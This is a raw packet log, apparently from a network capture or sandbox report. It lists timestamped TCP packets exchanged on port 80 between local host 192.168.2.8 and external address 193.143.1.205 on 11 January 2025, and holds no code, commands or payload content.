Jan 11, 2025 07:05:34.747623920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.747647047 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.747661114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.747675896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.747689962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.747704029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.747745991 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.747775078 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.747786999 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.747802019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.747814894 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.747828007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.747838020 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.747850895 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.748436928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.748450994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.748466015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.748481035 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.748495102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.748507977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.748522997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.748536110 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.748536110 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.748578072 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.748589993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.748605967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.748620033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.748636007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.748650074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.748656988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.748666048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.748667002 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.748794079 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.749325991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.749341011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.749356031 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.749377966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.749392033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.749406099 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.749414921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.749433994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.749439001 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.749439001 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.749458075 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.749470949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.749473095 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.749485970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.749501944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.749517918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.749541044 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.749541044 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.749564886 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.749623060 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.751149893 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.754477978 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.794564962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.794583082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.794600010 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.794615030 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.794660091 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.796143055 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.827595949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.827625036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.827640057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.827699900 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.827752113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.827766895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.827790022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.827795029 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.827804089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.827819109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.827832937 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.827847958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.827857971 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.827857971 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.827904940 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.832391024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.832406998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.832422972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.832465887 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.861062050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.861088991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.861104965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.861125946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.861140966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.861155033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.861170053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.861174107 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.861265898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.861282110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.861299038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.861310959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.861351013 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.861351013 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.864295006 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.865592003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.865632057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.865644932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.865664959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.865679979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.865704060 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.865704060 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.865708113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.865722895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.865752935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.865789890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.865791082 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.865791082 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.865807056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.865822077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.865942001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.865957022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.865972042 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.865978003 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.865978003 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.865986109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.866017103 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.866051912 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.866051912 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.866137981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.866152048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.866228104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.866250038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.866276979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.866288900 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.866288900 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.866301060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.866329908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.866357088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.866379976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.866389990 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.866389990 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.866394043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.866533995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.866554976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.866578102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.866590023 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.866590023 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.866591930 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.866614103 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.866626978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.866641998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.866656065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.866667986 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.866667986 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.866684914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.866766930 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.866780043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.866795063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.866800070 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.866800070 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.866831064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.866866112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.866902113 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.866902113 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.866910934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.866926908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.866942883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.866956949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.866991997 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.866991997 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.867089033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.867104053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.867117882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.867161036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.867175102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.867188931 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.867197037 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.867197037 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.867212057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.867227077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.867240906 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.867255926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.867273092 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.867273092 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.867304087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.869240999 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.869256020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.869272947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.869282961 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.869282961 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.869286060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.869307041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.869322062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.869335890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.869344950 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.869344950 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.869349957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.869364023 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.869378090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.869393110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.869409084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.869410992 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.869410992 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.869422913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.869436979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.869452000 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.869466066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.869471073 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.869471073 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.869651079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.869667053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.869689941 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.869689941 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.869689941 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.869704962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.869719982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.869735003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.869755030 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.869755030 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.869800091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.869813919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.869827986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.869843006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.869856119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.869867086 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.869867086 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.869872093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.869885921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.869920015 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.869920015 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.870090961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.870138884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.870152950 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.870174885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.870194912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.870209932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.870219946 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.870219946 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.870918989 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.875570059 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.878918886 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.881408930 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.881436110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.881448984 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.881464005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.881486893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.881501913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.881519079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.881531954 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.881531954 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.881596088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.881632090 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.881632090 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.906526089 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.914767981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.914800882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.914818048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.914832115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.914846897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.914861917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.914868116 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.914868116 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.914877892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.914921999 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.919352055 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.919369936 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.919393063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.919401884 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.919406891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.919421911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.919435978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.919451952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.919471979 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.919471979 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.919630051 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.947894096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.947921038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.947935104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.947957993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.947973013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.947988033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.948025942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.948041916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.948149920 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.948149920 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.948149920 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.952591896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.952620029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.952635050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.952692986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.952707052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.952728033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.952733040 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.952733040 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.952744007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.952764988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.952780008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.952794075 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.952805042 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.952805042 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.952807903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.952822924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.952878952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.952887058 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.952887058 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.952893972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.952971935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953047991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953069925 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953083992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953110933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953200102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953213930 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953228951 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953242064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953254938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953267097 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.953267097 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.953269005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953336000 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.953344107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953356981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953371048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953385115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953408957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953408957 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.953408957 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.953423977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953438997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953452110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953485966 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.953485966 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.953512907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953586102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953607082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953624010 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953638077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953643084 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.953644037 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.953653097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953685999 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953699112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953721046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953722954 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.953722954 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.953742981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953757048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953771114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953785896 CET	80	49706	193.143.1.205	192.168.2.8
